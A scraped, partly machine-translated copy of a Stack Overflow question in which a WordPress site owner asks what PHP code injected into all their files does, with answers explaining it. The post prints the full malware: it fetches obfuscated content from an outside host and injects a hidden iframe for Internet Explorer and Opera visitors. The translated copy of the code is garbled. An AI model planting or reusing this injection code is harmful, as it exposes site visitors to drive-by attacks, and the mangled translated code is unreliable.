Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/file/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 这段代码在做什么?eval(gzflate)(base64_解码黑客_Php_File_External - Fatal编程技术网

Php 这段代码在做什么?eval(gzflate)(base64_解码黑客

Php 这段代码在做什么?eval(gzflate)(base64_解码黑客,php,file,external,Php,File,External,有人能解释一下这段代码到底在做什么吗?似乎有黑客通过wordpress安装将这段代码添加到了我的每个php文件中。我知道它正在打开一个连接并从该url下载一个文件。还有别的吗 if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url);

有人能解释一下这段代码到底在做什么吗?似乎有黑客通过wordpress安装将这段代码添加到了我的每个php文件中。我知道它正在打开一个连接并从该url下载一个文件。还有别的吗

if (!defined('frmDs')){
    define('frmDs' ,1);

    function frm_dl ($url) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $out = curl_exec ($ch);
            if (curl_errno($ch) !== 0) $out = false;
            curl_close ($ch);
        } else {$out = file_get_contents($url);}
        return trim($out);
    }

    function frm_crpt($in){
        $il=strlen($in);$o='';
        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
        return $o;
    }

    function frm_getfrm()
    {
        $defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
        $codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
        if (!$codelink){
            return $defframe;
        }

        $dr='/var/tmp';
        $f = $dr.'/sess_'.md5('frm_frame');
        if(!file_exists($f) || time() - filemtime($f) > 60*5)
        {
            $dlc = frm_dl($codelink);
            if ($dlc){
                if ($fp = @fopen($f, 'w')){
                    fwrite($fp, frm_crpt($dlc));
                    fclose($fp);
                }
                else
                    return $dlc;
            }
            else
                @unlink($f);
        }
        $fc = @file_get_contents($f);
        return ($fc)?frm_crpt($fc):$defframe;
    }

    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
        error_reporting(0);

        if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
            @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
            print($nfc);
        }
    }
}
if(!defined('frmDs')){
定义(“frmDs”,1);
函数frm_dl($url){
if(函数_存在('curl_init')){
$ch=curl\u init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$out=curl\u exec($ch);
如果(curl_errno($ch)!=0)$out=false;
卷曲关闭($ch);
}else{$out=file_get_contents($url);}
返回修剪($);
}
功能frm\U crpt($in){
$il=strlen($in);$o='';
对于($i=0;$i<$il;$i++)$o.=$in[$i]^'*';
退还$o;
}
函数frm_getfrm()
{
$defframe='.blqrgw{位置:绝对;左:-1117px;顶:-1046px;}';//默认帧
$codelink=http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
如果(!$codelink){
返回$defframe;
}
$dr='/var/tmp';
$f=$dr./sess.'.md5('frm_框架');
如果(!file_存在($f)| time()-filemtime($f)>60*5)
{
$dlc=frm_dl($codelink);
如果($dlc){
如果($fp=@fopen($f,'w')){
编写($fp,frm_crpt($dlc));
fclose($fp);
}
其他的
返回$dlc;
}
其他的
@取消链接(f美元);
}
$fc=@file\u get\u contents($f);
返回($fc)?frm_crpt($fc):$defframe;
}
$ua=$\服务器['HTTP\用户\代理'];
if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){
错误报告(0);
如果(!isset($_COOKIE[''''.\u utmfr'])&&&$nfc=frm\u getfrm()){
@setcookie(“'uuuUtmfr',兰德(11000),时间()+86400*7'/”);
印刷(nfc);
}
}
}
如果frmDs变量存在,我认为这样做可以防止脚本执行两次(如果您两次定义相同的函数,则会出现错误)

在函数定义之后,执行的第一个代码块是 $ua=$\服务器['HTTP\用户\代理']; if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){ 错误报告(0)

在上面的代码块中,它检查用户是否具有cookie u utmfr,如果没有,则设置该值,并将frm_getfrm()的结果打印到web输出

换句话说,如果用户是第一次访问该站点,他会在HTML页面的开头得到frm_getfrm()的结果

函数frm_getfrm()非常复杂,但在一天结束时,它会尝试返回一个隐藏的IFRAME,其中包含来自外部网站的内容,以防宿主服务器无法连接到外部服务器。 如果您的服务器可以连接到外部服务器,脚本将使用PHP内置函数下载并返回的内容

如果frmDs变量存在,我认为这样做可以防止脚本执行两次(如果您两次定义相同的函数,则会出现错误)

在函数定义之后,执行的第一个代码块是 $ua=$\服务器['HTTP\用户\代理']; if(preg_-match(“/Windows/”,$ua)和&preg_-match(“/MSIE | Opera/”,$ua)){ 错误报告(0)

在上面的代码块中,它检查用户是否具有cookie u utmfr,如果没有,则设置该值,并将frm_getfrm()的结果打印到web输出

换句话说,如果用户是第一次访问该站点,他会在HTML页面的开头得到frm_getfrm()的结果

函数frm_getfrm()非常复杂,但在一天结束时,它会尝试返回一个隐藏的IFRAME,其中包含来自外部网站的内容,以防宿主服务器无法连接到外部服务器。
如果您的服务器可以连接到外部服务器,脚本将使用PHP内置函数下载并返回其内容。

这种垃圾总是会安装一个“远程外壳”,以便有人可以在您的服务器上执行任意命令。您已经被黑客攻击,您需要做大量清理工作,包括保护您的网站。“还有别的吗?"-这怎么会是一个具体的编程问题?@M8R-1jmw5r:不是。这就是为什么它会被关闭的原因。这是一个接管世界的代码-当饼干极限达到临界值时,卡繁荣!!!一个新的冰河时代将覆盖地球,幸存下来的人将生活在一个失落的文明的废墟中,记住黄金时代的温暖@MarcB:我希望我没有留下任何标志来引起版主的注意。这种垃圾总是会安装一个“远程外壳”,以便有人可以在你的服务器上执行任意命令。你被黑客攻击了,你有很多清理工作要做,包括保护你的网站。“还有别的吗?”-这怎么会是一个具体的编程问题?@M8R-1jmw5r:不是。这就是为什么它会被关闭的原因。这是一个接管世界的代码-当饼干极限达到临界值时,卡繁荣!!!一个新的冰河时代将覆盖地球,幸存下来的人将生活在一个失落的文明的废墟中,记住黄金时代的温暖@马尔克:我希望这样我就不会留下任何旗帜来引起主持人的注意。
if (!defined('frmDs')){
define('frmDs' ,1);
    if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
        @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
        print($nfc);
    }
}